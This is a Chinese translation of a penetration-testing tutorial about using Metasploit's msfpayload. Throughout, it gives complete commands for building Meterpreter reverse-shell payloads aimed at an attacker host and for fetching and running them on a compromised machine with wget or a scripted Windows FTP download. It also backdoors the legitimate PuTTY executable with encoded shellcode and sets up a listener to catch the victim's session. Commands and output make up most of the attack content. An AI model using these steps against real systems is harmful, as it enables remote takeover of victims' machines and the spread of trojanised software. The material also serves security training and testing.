zoukankan      html  css  js  c++  java
  • 漏洞利用教程:msfpayload 和 Backdooring EXEs

    漏洞利用教程:msfpayload 和 Backdooring EXEs

    此版本的PrimalSec漏洞教程系列将介绍如何使用msfpayload创建各种有效负载。msfpayload是Metasploit框架的一部分,允许我们生成各种格式的Metasploit有效负载。在我们之前的博文中,我们利用msfpayload生成原始shellcode,我们在缓冲区溢出中利用它来执行代码。

    现在我们将讨论msfpayload的一些其他用例,以生成一些meterpreter有效负载。你经常会发现自己想要将原始shell升级到meterpreter shell,因为你有很多增加的功能,或者你可能希望为持久性提供合法的可执行文件。

    创建Meterpeter有效负载以升级原始shell:

    # Windows Meterpreter 反弹 shell:
    msfpayload windows/meterpreter/reverse_tcp LHOST=<Attacker_IP> LPORT=<Listener_port> X > win_meter.exe
    
    # Linux x86 Meterpreter 反弹 Shell:
    msfpayload linux/x86/meterpreter/reverse_tcp LHOST=<Attacker_IP> LPORT=<Listener_port> X > lin_meter.exe
    
    # PHP Meterpreter 反弹 Shell:
    msfpayload php/meterpreter_reverse_tcp LHOST=<Attacker_IP> LPORT=<Listener_port> R > php_meter.php

    在Linux上下载二进制文件

    要将原始shell升级到meterpreter,可以按照Linux的以下过程进行操作:
    可选:使用Python生成伪终端

    要创建python HTTP服务器,可以利用内置函数“SimpleHTTPServer”。你可以使用开关“-m”直接从命令行调用模块。默认情况下,侦听器将从端口8000开始,但你可以指定要用作参数的端口:

    python -m SimpleHTTPServer 80
    Serving HTTP on 0.0.0.0 80 ...

    现在假设你没有防火墙阻止连接,你应该能够向服务器发出请求。你可以把在你开始Python的HTTP服务器的同一目录中Meterpreter就会二进制文件,它应该是远程客户端访问。以下是你可能希望如何利用wget的示例。我发现在你没有权限在当前工作目录中写入的初始Web shell并且你无法更改目录的情况下,这种情况很常见。因此,要解决此问题,你可以执行以下操作:

    # 参数 -O 允许你输出到另一个目录 /tmp/通常是可写的
    wget -O /tmp/<meterpeter_binary> http://<attacker_ip>/<meterpeter_binary>
    
    # 更改权限
    chmod a+x /tmp/<meterpeter_binary>
    
    # 总是一个好主意,以确保文件正确
    file /tmp/<meterpeter_binary>
    
    # 运行meterpreter二进制文件
    /tmp/<meterpeter_binary>

    在Windows上下载二进制文件

    要升级你的原始外壳Meterpreter就会在Windows中可以做一些CLI功夫。这可以帮助你避开与原壳的问题,而不是处理需要额外的输入一定的命令:

    # 你可以逐行建立FTP脚本
    # 不要使用用户名/密码,因为它们会弄乱身份验证
    C:>echo open [attacker_ip] >> ftp.txt
    
    C:>echo [user]>>ftp.txt
    
    C:>echo [password]>>ftp.txt
    
    C:>echo get [meterpreter_binary]>>ftp.txt
    
    C:>echo bye >> ftp.txt

    现在,你可以使用带有参数“-s”的内置Windows FTP客户端,并使用你创建的FTP脚本文件:

    c:>ftp -s:ftp.txt
    ftp.exe -s:ftp.txt
    User ([attacker_ip]:(none)): open [attacker_ip]
    get [meterpreter_binary]
    bye
    
    c:> dir /s | findstr [meterpreter_binary]

    现在,如果你想利用msfpayload后门合法二进制文件,你可以执行以下操作:

    ~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.56.102 LPORT=443 R | msfencode -t exe -x /tmp/putty.exe -k -o putty_bad.exe -e x86/shikata_ga_nai -c 3
    [*] x86/shikata_ga_nai succeeded with size 314 (iteration=1)
    
    [*] x86/shikata_ga_nai succeeded with size 341 (iteration=2)
    
    [*] x86/shikata_ga_nai succeeded with size 368 (iteration=3)

    在这个例子中,我们决定后门PuTTY,但可能是任何二进制文件。参数“-t”指定输出格式,“ - x”指定要使用的备用可执行模板,参数“ - o”指定输出文件,参数“-e”是编码使用。现在我们可以在受害者计算机上植入后门可执行文件,启动一个监听器并测试它:

    msf > use exploit/multi/handler
    msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
    msf exploit(handler) > set LHOST 192.168.56.102
    LHOST => 192.168.56.102
    msf exploit(handler) > set LPORT 443
    LPORT => 443
    msf exploit(handler) > exploit
    
    [*] Started reverse handler on 192.168.56.102:443
    [*] Starting the payload handler...
    

    现在假设一切正常,当你点击受害者机器上的PuTTY二进制文件时,你会看到你的Meterpreter会话产生:

    作者:primalsecurity

    翻译:i春秋翻译小组-FWorldCodeZ

    责任编辑:F0rmat

    翻译来源:http://www.primalsecurity.net/0x6-exploit-tutorial-msfpayload-and-backdooring-exes/

  • 相关阅读:
    Golang 用go-sql-driver 调用MySQL存储过程时的问题排查
    mysqlbinlog 查看binlog时报错unknown variable 'default-character-set=utf8'
    HBase Go客户端Row构造注意事项
    MySQL JOIN操作报错问题小解
    MySQL主从同步的一个小问题解决
    PHP 多个mysql连接的问题
    记一起动态库加载错误问题排查过程
    DNS缓存
    C输出大于127的ACSII字符
    Mint17 一些安装备忘
  • 原文地址:https://www.cnblogs.com/ichunqiu/p/9995653.html
Copyright © 2011-2022 走看看